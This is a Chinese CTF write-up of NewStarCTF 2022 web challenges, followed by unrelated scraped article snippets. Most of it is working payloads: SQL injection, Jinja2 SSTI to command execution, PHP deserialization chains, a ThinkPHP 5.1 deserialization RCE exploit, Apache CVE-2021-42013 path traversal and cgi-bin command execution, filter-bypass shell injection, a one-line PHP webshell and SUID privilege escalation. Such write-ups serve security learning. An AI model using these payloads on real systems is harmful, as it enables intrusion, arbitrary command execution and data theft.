NewStarCTF 2022 web方向题解 wp

----------WEEK1----------

BUU NewStarCTF 公开赛赛道 WEEK1 [NotPHP]

先看题目,要传参加绕过。

1679452501640

分析一下代码:首先get一个data=data://test/plain,Wel…。然后key1和2用数组可以绕过。num=2077a可以绕过弱类型。eval()中的php语句被#注释了,我们需要通过换行%0a来忽视这个注释,所以再构造cmd=%0asystem(‘ls /’);

payload:
?data=data://test/plain,Welcome%20to%20CTF&key1[]=1&key2[]=7&cmd=%0asystem(%27cat%20/flag%27);num=2077a   //POST

1679453220417

----------WEEK2----------

BUU NewStarCTF 公开赛赛道 WEEK2 [IncludeOne]

看看题干,伪随机数工具。

image-20230329141443978

分析一下代码,预测一下下一个随机数,进行md5强比较,之后get文件,有正则。

image-20230329142512515

随机数预测如下:
实际上是mt_rand()函数存在漏洞,通过mt_srand(XXX)中输入,每次mt_rand()生成的随机数都是固定的几项。通过php_mt_seed这个工具可以通过mt_rand()生成的数找到mt_srand(XXX)中的XXX。

文件夹里面开终端

time ./php_mt_seed 1219893521

image-20230329144743434

<?php$a = mt_srand(1145146);echo mt_rand();echo "\n";echo mt_rand();
?>

image-20230329143902151

然后传入

?file=php://filter/NewStar/read=string.rot13/resource=flag.php

rot13代替base。

image-20230329151256279

BUU NewStarCTF 公开赛赛道 WEEK2 [UnserializeOne]

先看题目:给了一个hint,https://zhuanlan.zhihu.com/p/377676274。

image-20230329151924038

有protected注意要url编码

链子: Start::destruct()->Sec::toString() ->easy::call()->eeee->clone()->Start::isset->sec::invoke()

exp:<?php
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{public $name;protected $func;public function __destruct(){echo "Welcome to NewStarCTF, ".$this->name;//1.name=Sec(Easy("1"),eeee(Start("",Sec("2","3"))))}public function __isset($var){($this->func)();//5.  Sec("2","3") ("")}public function __construct($name, $func){$this->name = $name;$this->func = $func;}
}class Sec{private $obj;private $var;public function __toString(){$this->obj->check($this->var);//2.Easy->check[不存在] (   eeee(Start("",Sec("2","3")))   )return "CTFers";}public function __invoke(){echo file_get_contents('flag');//6.   get flag}public function __construct($obj,$var){$this->obj = $obj;$this->var = $var;}}class Easy{public $cla;public function __call($fun, $var){$this->cla = clone $var[0];//3. 1= clone  eeee(Start("",Sec("2","3")))}public function __construct($cla){$this->cla = $cla;}
}class eeee{public $obj;public function __clone(){if(isset($this->obj->cmd)){echo "success";}//4.  Start("",Sec("2","3"))->obj->cmd  isset到不可访问属性}public function __construct($obj){$this->obj = $obj;}}$a = new Start(new Sec(new Easy("1"),new eeee(new Start("",new Sec("2","3")))),"");
echo urlencode(serialize($a));

image-20230329171341661

BUU NewStarCTF 公开赛赛道 WEEK2 [Word-For-You(2 Gen)]

是SQL,看了一下闭合,字符型。

image-20230329171730829

分析一下,有报错无回显,报错注入冲冲冲。

image-20230329172102806

1' union select updatexml(1,concat(0x7e, (select(group_concat(table_name))from information_schema.tables where table_schema="wfy") ,0x7e),1)#
//wfy_admin,wfy_comments,wfy_info   数据表名称1' union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="wfy_comments") ,0x7e),1)#
//id,text,user,name,display
1' union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="wfy_admin") ,0x7e),1)#
//Id,username,password,cookie      列/字段名称name=1'or+updatexml(1,substr(concat(0x7e,(select group_concat(text)from(wfy.wfy_comments)),0x7e),155,30),1)#
//正好得到整段flag。

image-20230417161501737

BUU NewStarCTF 公开赛赛道 WEEK2 [ezAPI]

一开始还以为是SQL。

image-20230417161654161

后来看了佬wp,先拿dirsearch扫一下。发现了一个备份文件。

image-20230417161911794

里面有一个index.php

          <?phperror_reporting(0);$id = $_POST['id'];function waf($str){if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") {return False;} else {return True;}}function send($data){$options = array('http' => array('method' => 'POST','header' => 'Content-type: application/json','content' => $data,'timeout' => 10 * 60));$context = stream_context_create($options);$result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);//return $result;}if (isset($id)) {if (waf($id)) {isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}'; //可以看出data是json格式。$res = json_decode(send($data));   //res进行了json解码if ($res->data->users_user_by_pk->name !== NULL) {echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;} else {echo "<b>Can't found it!</b><br><br>DEBUG: ";var_dump($res->data);}} else {die("<b>Hacker! Only Number!</b>");}} else {die("<b>No Data?</b>");}?>

从源码看到了,id过滤的非常严格,真的只能输入数字。但是还可以POST一个data,格式和json类似。

CV劲远佬佬的语雀。这个是graphQL内省查询,具体了解:https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ

内省查询payload:
{"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}

返回包返回的就是该API端点的所有信息。复制返回包到以下网址可以得到所有的对象定义、接口信息。

在全部接口信息中找到ffffllllaaagggg_1n_h3r3_flag接口

image-20230417172136546

题目源码有段。

 isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}'; data的格式是{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}
我们模仿这个,把id换成ffffllllaaagggg_1n_h3r3_flag。
payload:
id=1&data={"query":"query{\nffffllllaaagggg_1n_h3r3_flag{\nflag\n}\n}\n", "variables":null}

image-20230417172904213

----------WEEK3----------

BUU NewStarCTF 公开赛赛道 WEEK3 [BabySSTI_One]

找到注入点,?name=

image-20230419233950496

先试试工具,焚靖。只能说牛逼。

image-20230419234156921

手工试试:

打开地址,在F12中看到提示为flask ssti,然后需要以GET的方式传递name参数上去

因此先看一下有无过滤,输入?name={{class}},页面显示说明存在过滤

img

使用中括号方式绕过,输入?name={{''['__cl'+'ass__']}},在源代码中发现绕过成功

img

输入?name={{''['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()}},通过__subclass__()返回当前类所有的子类 – 找到os._wrap_close类,位置在第117

img

输入?name={{''['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']}},通过__init__(初始化方法)、globals(访问全局变量,字典)查找可用的类 – 找到__builtins__

img

输入?name={{''['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['__builtins__'].eval("__import__('os').popen('ls').read()")}},通过__builtins__中的eval找到页面源代码。

img

输入?name={{''['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['__builtins__'].eval("__import__('os').popen('ca'+'t app.py').read()")}},打印源代码

import Flask, request
from jinja2 import Template
import re
app = Flask(__name__)@app.route("/")
def index():name = request.args.get('name', 'CTFer')if not re.findall('class|base|init|mro|flag|cat|more|env', name):t = Template("<body bgcolor=#E1FFFF><br><p><b><center>Welcome to NewStarCTF, Dear " + name + "</center></b></p><br><hr><br><center>Try to GET me a NAME</center><!--This is Hint: Flask SSTI is so easy to bypass waf!--></body>")return t.render()else:t = Template("Get Out!Hacker!")return t.render()if __name__ == "__main__":app.run()

通过源代码得知,的确被过滤了很多关键字

输入?name={{''['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['__builtins__'].eval("__import__('os').popen('ls -l /').read()")}},查看根目录下所有文件

img

输入?name={{''['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['__builtins__'].eval("__import__('os').popen('ca'+'t /fla'+'g_in_here').read()")}},打印flag

img


知识点

__class__  		 返回类型所属的对象
__mro__    		 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   		 返回该对象所继承的基类  // __base__和__mro__都是用来寻找基类的
__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  		 类的初始化方法
__globals__  	 对包含函数全局变量的字典的引用

注意点:在burp中GET中太长会无法识别,用hackbar即可

BUU NewStarCTF 公开赛赛道 WEEK3 [Maybe You Have To think More]

题目描述:PHP反序列化漏洞系列第二题。想啊想啊想不到,这可不是SQL注入哦

hint:看看Cookie ThinkPHP 5框架反序列化RCE

开题。

image-20230824161042795

用户名输入Jay17,发现是GET方式提交的,参数是name

image-20230824161243731

当前界面未发现任何疑点

image-20230824162124824

根据hint,他的cookie疑似base64编码字符串,解码后是一个序列化字符串。

image-20230824162244668

访问不存在的路由,刻意使其报错。发现网站是thinkphp,版本是5.1.41

image-20230824162720579

那么thinkphp反序列化的点就是cookie了,我们直接使用现成的exp生成序列化字符串,base64编码后修改cookie即可。

exp:

<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["Jay17"=>["hello","world"]];
$this->data = array('Jay17'=>new Request());
}
}
class Request
{
protected $hook = [];
protected $filter;
protected $config = [
// 表单请求类型伪装变量
'var_method'       => '_method',
// 表单ajax伪装变量
'var_ajax'         => '_ajax',
// 表单pjax伪装变量
'var_pjax'         => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo'     => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter'   => '',
// 域名根,如thinkphp.cn
'url_domain_root'  => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip'    => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix'  => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJKYXkxNyI7YToyOntpOjA7czo1OiJoZWxsbyI7aToxO3M6NToid29ybGQiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJKYXkxNyI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=

之后GET提交形式类似于任意名字=命令的参数就行啦。

payload: (flag在环境变量里面)

GET:?anyname=envCookie:tp_user=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJKYXkxNyI7YToyOntpOjA7czo1OiJoZWxsbyI7aToxO3M6NToid29ybGQiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJKYXkxNyI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=

image-20230824163533618

参考文章:

Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞复现与分析 - FreeBuf网络安全行业门户

----------WEEK4----------

BUU NewStarCTF 公开赛赛道 WEEK4 [So Baby RCE]

直接给了源码。

image-20230824192235453

过滤非常狠,读取文件命令基本上都没了。

绕过过滤:

被过滤字符绕过方式
读取文件命令空变量绕过( 1 、 1、 1@)、sort命令
cd /cd …&&cd …&&cd …&&cd …
分隔符%0a、%26%26(&&的url编码)
空格%09、${IFS}

payload:

?cmd=cd%09..%26%26cd%09..%26%26cd%09..%26%26sort%09ffff?lllaaaaggggg?cmd=cd%09..%26%26cd%09..%26%26cd%09..%26%26ca$1t%09ffff?lllaaaaggggg

image-20230824195101170


当然我们也可以Bash内置变量RCE

详情见:Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 全_Jay 17的博客-CSDN博客 中的web118-web124

先查看一下环境变量

?cmd=en$1v

image-20230824195308231

然后来个替换表。

字符对应的Bash内置变量
nl P A T H : 14 : 1 {PATH:14:1} PATH:14:1{PWD:12:1}
/${PWD:0:1}

但是奇怪的是,我们echo $PWD有回显,echo ${PWD:0:1}无回显。

image-20230824201116424

image-20230824201149656

换个路子。

expr -- 用于在UNIX/LINUX下求表达式变量的值
$() -- 可以执行Linux命令
substr -- 截取字符串(Linux字符串 下标从一开始)

拿个斜杠看看,成功了

echo $(expr substr $PWD 1 1)
# 加上绕过
ec$1ho${IFS}$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)

image-20230824204252764

payload:

//cd /&&ls
?cmd=cd%09$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)%26%26ls//nl /ffff?lllaaaaggggg
?cmd=$(expr${IFS}substr${IFS}$PATH${IFS}15${IFS}1)$(expr${IFS}substr${IFS}$PWD${IFS}13${IFS}1)%09$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)ffff?lllaaaaggggg$(expr${IFS}substr${IFS}$PATH${IFS}15${IFS}1)   //n
$(expr${IFS}substr${IFS}$PWD${IFS}13${IFS}1)    //l

image-20230824205105014

----------WEEK5----------

BUU NewStarCTF 公开赛赛道 WEEK5 [Unsafe Apache]

开题。

image-20230824223950879

题目名称是不安全的Apache,想必是Apache相关漏洞。network查看返回包中的Apache版本是2.4.50

image-20230824224112029

这个版本有一个CVE。Apache HTTP Server路径穿越漏洞 (CVE-2021-42013)


现在我们就来了解一下这个漏洞的前世今生。

Apache 披露了一个在 Apache HTTP Server 2.4.49 上引入的漏洞,称为 CVE-2021-41773。同时发布了2.4.50更新,修复了这个漏洞。该漏洞允许攻击者绕过路径遍历保护,使用编码并读取网络服务器文件系统上的任意文件。运行此版本 Apache 的 Linux 和 Windows 服务器都受到影响。此漏洞是在 2.4.49 中引入的,该补丁旨在提高 URL 验证的性能。可以通过对“.”进行编码来绕过新的验证方法。如果 Apache 网络服务器配置未设置为“要求全部拒绝”,则漏洞利用相对简单。通过对这些字符进行编码并使用有效负载修改 URL,可以实现经典的路径遍历。

Apache版本2.4.50是对CVE-2021-(版本2.4.49)的修复,但是修复不完整导致可以绕过,从而产生了CVE-2021-42013(版本2.4.50)。

CVE-2021-41773:

Apache HTTP Server 2.4.49版本使用的ap_normalize_path函数在对路径参数进行规范化时会先进行url解码,然后判断是否存在…/的路径穿越符。

也就是说这个函数会检测路径中是否存在%,存在再检测其紧跟的两个字符16进制字符,是的话。会对其进行url解码,如:%2e ->. ,转换完之后再检测是不是存在../,防止路径穿越。

但是奇怪的是%2e./能检测出来,但是.%2e/不行。原来它是检测.后是不是跟着./

所以用.%2e/或者%2e%2e就能绕过这个函数触发路径穿越

CVE-2021-42013:

这时修复了对.%2e的检测。

在处理外部HTTP请求时,会调用 ap_process_request_internal函数对url路径进行处理,在该函数中,首先会调用ap_normalize_path函数进行一次url解码,之后会调用ap_unescape_url函数进行二次解码。

这时候我们只需要将…/url编码两次就行了。

ap_normalize_path函数调用栈如下,在处理前path参数为/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd

经过ap_normalize_path函数处理后path参数变成/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd

经过unescape_url函数处理后,可以看到此时的url字符串内容变成/icons/../../../../etc/passwd

==补充一下:==对于没有进⾏安全配置的Apache服务器,默认情况可以⽤xxx.com/icons/的⽅式打开Apache⽬录下的icons⽂件夹,并且会罗列出⽂件列表。(一、可以路径穿越读取文件)

在服务端开启了cgi或cgid这两个mod的情况下xxx.com/cgi-bin/xxx/bin/sh,这个路径穿越漏洞将可以执行任意命令。POST方式直接提交命令,前面要加一个echo;。(二、可以命令执行)

对两个CVE的修复:

2.4.51版本针对该漏洞进行了多处修改,最核心的一处修改是在ap_normalize_path函数中加强了对url编码的校验,如果检测到存在非标准url编码(不是%+两个十六进制字符)的情况,就返回编码错误,从根本上杜绝了多重编码可能导致的绕过。


payload:

读取文件:

URL/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

image-20230824231132188

执行命令:

URL/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/shPOST:echo;nl /ffffllllaaagggg_cc084c485d

image-20230824231310992

BUU NewStarCTF 公开赛赛道 WEEK5 [So Baby RCE Again]

考点:无回显RCE+提权

直接给了源码。

image-20230825112557103

这题用shell_exec执行命令,shell_exec返回是无回显的。所以是无回显RCE。

经过尝试,我们有写入文件的权限,这题就用写文件然后访问文件得到命令执行的内容。当然也可以直接执行命令,写马到文件。这样更加方便。

?cmd=echo '<?php @eval($_POST[1])?>' > 1.php

成功写入,用phpinfo验证。

image-20230825112634823

但是直接cat flag返回权限不足。

之后利用find / -perm -u=s -type f 2>/dev/null命令查看具有suid权限的命令,然后发现date命令具有suid权限。那我们就可以用date命令读取flag文件。

image-20230825112707695

payload:

URL/1.phpPOST:1=system('date --file=/ffll444aaggg 2> 1.txt');
或者
1=system('date --file /ffll444aaggg 2> 1.txt');
或者
1=system('date -f /ffll444aaggg 2> 1.txt');

使用date -f命令可以以报错的方式将文件里面的内容全部弄出来。因为是通过报错方式得到文件内容,所以要使用错误重定向 2>

image-20230825135152122

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/111670.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

成都智慧企业发展研究院总经理郑小华:践行双轮驱动,为能源电力数智化注入新活力丨数据猿专访...

大数据产业创新服务媒体 ——聚焦数据 改变商业 随着全球经济走向数字化&#xff0c;中国正处于这一浪潮的前沿&#xff0c;进行前所未有的技术与产业深度融合。政府在2023年2月印发的《数字中国建设整体布局规划》等政策下&#xff0c;明确展示了对数字经济的支持与鼓励&…

串口接收数据-控制LED灯

目标 通过串口接收数据&#xff0c;对数据分析&#xff0c;控制8个LED灯按照设定时间闪烁。 8个LED灯可以任意设计&#xff0c;是否闪烁。闪烁时间按ms计算&#xff0c;通过串口发送&#xff0c;可设置1~4,294,967,296ms&#xff0c;也就是4字节数据协议自拟&#xff0c;有数…

代码随想录笔记--链表篇

目录 1--虚拟头节点的使用 2--设计链表 3--反转链表 4--两两交换链表中的节点 5--快慢指针 5-1--删除链表倒数第N个节点 5-2--环形链表 5-3--环形链表II 1--虚拟头节点的使用 在链表相关题目中&#xff0c;常新定义一个虚拟头结点 dummynode 来指向原链表的头结点&…

为何反射探针关闭Mipmap后变成了白图

1&#xff09;为何反射探针关闭Mipmap后变成了白图 2&#xff09;2021.3 Android从AssetBundle中加载视频播放失败问题 3&#xff09;SBP是否可以解决打包时FBX等模型文件中额外的GameObject 4&#xff09;Addressables加载已打包过的Prefab后Mono脚本丢失 这是第349篇UWA技术知…

暑期实习总结(焊点数据管理软件开发):Python操作MySQL数据库、Django搭建前端网页、以及Excel中数据与MySQL数据库的互转

暑期实习总结&#xff08;焊点数据管理软件开发&#xff09;:Python操作MySQL数据库、Django搭建前端网页、以及Excel中数据与MySQL数据库的互转 ​ 这一周是我在企业实习的最后一周&#xff0c;在企业做的项目已基本完成。这篇博客的目的也是总结一些项目中的一些小问题&…

java八股文面试[多线程]——synchronized 和lock的区别

其他差别&#xff1a; synchronized是隐式的加锁,lock是显式的加锁; synchronized底层采用的是objectMonitor,lock采用的AQS; synchronized在进行加锁解锁时,只有一个同步队列和一个等待队列, lock有一个同步队列,可以有多个等待队列; synchronized使用了object类的wait和noti…

博流RISC-V芯片BL616开发环境搭建

文章目录 1、工具安装2、代码下载3、环境变量配置4、下载交叉编译器5、编译与下载运行6、使用ninja编译 本文分别介绍博流RISC-V芯片 BL616 在 Windows和Linux 下开发环境搭建&#xff0c;本文同时适用BL618&#xff0c;BL602&#xff0c;BL702&#xff0c;BL808系列芯片。 1、…

迁移学习:实现快速训练和泛化的新方法

文章目录 迁移学习的原理迁移学习的应用快速训练泛化能力提升 迁移学习的代码示例拓展应用与挑战结论 &#x1f389;欢迎来到AIGC人工智能专栏~迁移学习&#xff1a;实现快速训练和泛化的新方法 ☆* o(≧▽≦)o *☆嗨~我是IT陈寒&#x1f379;✨博客主页&#xff1a;IT陈寒的博…

【Java从0到1学习】13 Java IO流

1. 流 1.1 流的概念 流(stream)的概念源于UNIX中管道(pipe)的概念。在UNIX中&#xff0c;管道是一条不间断的字节流&#xff0c;用来实现程序或进程间的通信&#xff0c;或读写外围设备、外部文件等。 一个流&#xff0c;必有源端和目的端&#xff0c;它们可以是计算机内存的…

怎么初始化磁盘?这个方法你绝对不知道

在计算机的日常使用中&#xff0c;硬盘扮演着重要的角色&#xff0c;储存着操作系统、文件、程序等重要数据。然而&#xff0c;当我们获得一个新的硬盘或者需要对现有硬盘进行重新配置时&#xff0c;初始化磁盘成为了一个关键步骤。本文将介绍两种常用的初始化磁盘方法&#xf…

STM32F4X 窗口看门狗 WWDG

STM32F4X 窗口看门狗 WWDG STM32F4X窗口看门狗使用独立看门狗与窗口看门狗区别窗口看门狗复位条件窗口看门狗时钟窗口看门狗时钟计数频率窗口看门狗的窗口值窗口看门狗喂狗操作窗口看门狗例程 上一节简单讲了STM32F4X中的独立看门狗的使用&#xff0c;除了独立看门狗之外&#…

Java 中数据结构HashMap的用法

Java HashMap HashMap 是一个散列表&#xff0c;它存储的内容是键值对(key-value)映射。 HashMap 实现了 Map 接口&#xff0c;根据键的 HashCode 值存储数据&#xff0c;具有很快的访问速度&#xff0c;最多允许一条记录的键为 null&#xff0c;不支持线程同步。 HashMap 是…

我与GPT的一次关于Orb-SLAM3源码(包括2)的深入对话

目录 一、前言二、关于Orb-SLAM3的代码结构三、关于system3.1 关于摄像头初始化3.2 关于摄像头模型化3.2关于初始化 四、关于ORBVocabulary五、关于优化六、小结 一、前言 Orb-SLAM2或者3是一个开源的视觉SLAM框架&#xff0c;里面的一些思想&#xff0c;一些软件工程的设计理…

ssm会议管理系统源码和论文

ssm会议管理系统源码和论文087 开发工具&#xff1a;idea 数据库mysql5.7 数据库链接工具&#xff1a;navcat,小海豚等 技术&#xff1a;ssm 摘 要 现代经济快节奏发展以及不断完善升级的信息化技术&#xff0c;让传统数据信息的管理升级为软件存储&#xff0c;归纳&…

[C/C++]天天酷跑游戏超详细教程-上篇

个人主页&#xff1a;北海 &#x1f390;CSDN新晋作者 &#x1f389;欢迎 &#x1f44d;点赞✍评论⭐收藏✨收录专栏&#xff1a;C/C&#x1f91d;希望作者的文章能对你有所帮助&#xff0c;有不足的地方请在评论区留言指正&#xff0c;大家一起学习交流&#xff01;&#x1f9…

Stable Diffusion Web UI的原理与使用

Stable Diffusion是一套基于Diffusion扩散模型生成技术的图片生成方案&#xff0c;随着技术的不断发展以及工业界对这套工程细节的不断优化&#xff0c;使其终于能在个人电脑上运行&#xff0c;本文将从github下载开始讲一讲如何使用Stable Diffusion Web UI进行AI图像的生成。…

摄像头的调用和视频识别

CV_tutorial3 摄像头调用实时播放保存视频 运动目标识别帧差法背景减除法 摄像头调用 创建视频捕捉对象&#xff1a;cv2.VideoCapture() 参数为视频设备的索引号&#xff0c;就一个摄像投的话写0默认&#xff1b; 或者是指定要读取视频的路径。 实时播放 import cv2 import …

华硕笔记本摄像头倒置怎么办?华硕笔记本摄像头上下颠倒怎么调整

笔记本电脑相较于台式电脑&#xff0c;更易携带&#xff0c;解决了很大一部分人的使用需求。但是笔记本电脑也存在很多不足&#xff0c;比如华硕笔记本电脑就经常会出现摄像头倒置的错误&#xff0c;出现这种问题要如何修复呢&#xff1f;下面就来看看详细的调整方法。 华硕笔记…

十二、集合(2)

本章概要 添加元素组集合的打印列表 List 添加元素组 在 java.util 包中的 Arrays 和 Collections 类中都有很多实用的方法&#xff0c;可以在一个 Collection 中添加一组元素。 Arrays.asList() 方法接受一个数组或是逗号分隔的元素列表&#xff08;使用可变参数&#xff…

【STM32】学习笔记-江科大

【STM32】学习笔记-江科大 1、STM32F103C8T6的GPIO口输出 2、GPIO口输出 GPIO&#xff08;General Purpose Input Output&#xff09;通用输入输出口可配置为8种输入输出模式引脚电平&#xff1a;0V~3.3V&#xff0c;部分引脚可容忍5V输出模式下可控制端口输出高低电平&#…